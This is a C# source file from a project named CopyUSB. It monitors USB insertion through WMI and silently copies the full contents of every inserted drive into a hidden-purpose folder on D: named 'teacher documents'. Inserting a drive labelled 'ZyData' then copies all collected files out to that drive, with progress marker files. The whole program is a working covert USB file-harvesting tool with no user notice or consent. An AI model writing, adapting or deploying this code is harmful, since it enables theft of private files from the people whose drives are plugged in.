CopyUSB/Program.cs
2023-10-14 12:57:12 +08:00

127 lines
3.2 KiB
C#

using CopyUSB;
using CopyUSB.MyDB;
using System.Diagnostics;
using System.Management;
static string GetVolumeLabel(string driveName)
{
try
{
DriveInfo driveInfo = new DriveInfo(driveName);
return driveInfo.VolumeLabel.Length == 0 ? "default" : driveInfo.VolumeLabel;
}
catch (Exception)
{
return "default";
}
}
string query = "SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2";
ManagementEventWatcher managementEventWatcher = new(query);
Debug.WriteLine("Waiting for USB...,take usb: ZyData");
managementEventWatcher.EventArrived += (s, e) =>
{
try
{
/*Console.WriteLine("触发器被触发了");*/
string driveName = e.NewEvent.Properties["DriveName"].Value.ToString();
Debug.WriteLine(driveName);
var dataDir = new DirectoryInfo(Path.Join("D:", "老师文档"));
if (GetVolumeLabel(driveName) == "ZyData")
{
Debug.WriteLine("检测到拷出USB");
if (!dataDir.Exists)
{
dataDir.Create();
}
long doneNum = 0;
var copyTask = Task.Run(() =>
{
FileCopy.SimpleCopy(Path.Join(driveName, "FILE", "USBCopy"), Path.Join("D:", "老师文档"), ref doneNum);
});
var planPrint = Task.Run(() =>
{
Debug.WriteLine("scanning and get totle num");
var fileNumber = FileCopy.DicFileNum(Path.Join("D:", "老师文档"));
Debug.WriteLine("scanned ok and get totle num");
while (!copyTask.IsCompleted)
{
var usbRoot = new DirectoryInfo(driveName);
if (usbRoot.GetFiles().Where(w => w.Name == $"{(int)((float)doneNum / (float)fileNumber * 100)}.upd").ToArray().Length != 1)
{
var oldPrint = usbRoot.GetFiles().Where(w => w.Name.EndsWith(".upd")).ToArray();
Debug.WriteLine(doneNum.ToString());
foreach (var file in oldPrint)
{
file.Delete();
}
}
var newPrint = new FileInfo(Path.Join(driveName, $"{(int)((float)doneNum / (float)fileNumber * 100)}.upd"));
var nPStream = newPrint.Create();
nPStream.Close();
Thread.Sleep(1000);
}
{
var usbRoot = new DirectoryInfo(driveName);
var oldPrint = usbRoot.GetFiles().Where(w => w.Name.EndsWith(".upd")).ToArray();
Debug.WriteLine(doneNum.ToString());
foreach (var file in oldPrint)
{
file.Delete();
}
var newPrint = new FileInfo(Path.Join(driveName, $"{(int)((float)doneNum / (float)fileNumber * 100)}.upd"));
var nPStream = newPrint.Create();
nPStream.Close();
}
});
Task.WaitAll(copyTask, planPrint);
Debug.WriteLine("-----Copy out OK---------");
return;
}
string dPath = Path.Join("D:", "老师文档", GetVolumeLabel(driveName));
Debug.WriteLine($"Detected: {driveName} || Save To -> : {dPath}");
if (!Directory.Exists(dPath))
{
Directory.CreateDirectory(dPath);
}
FileCopy.Copy(driveName, dPath);
/*Console.WriteLine($"元素个数{sortedList.Count()}");*/
Debug.WriteLine("\n--------------Scaned and waiting--------------\n");
}catch(Exception ex)
{
Debug.WriteLine(ex.ToString());
}
};
managementEventWatcher.Start();
// 让程序保持运行状态
while (true)
{
Thread.Sleep(1000);
/*Console.WriteLine("一次休眠周期");*/
}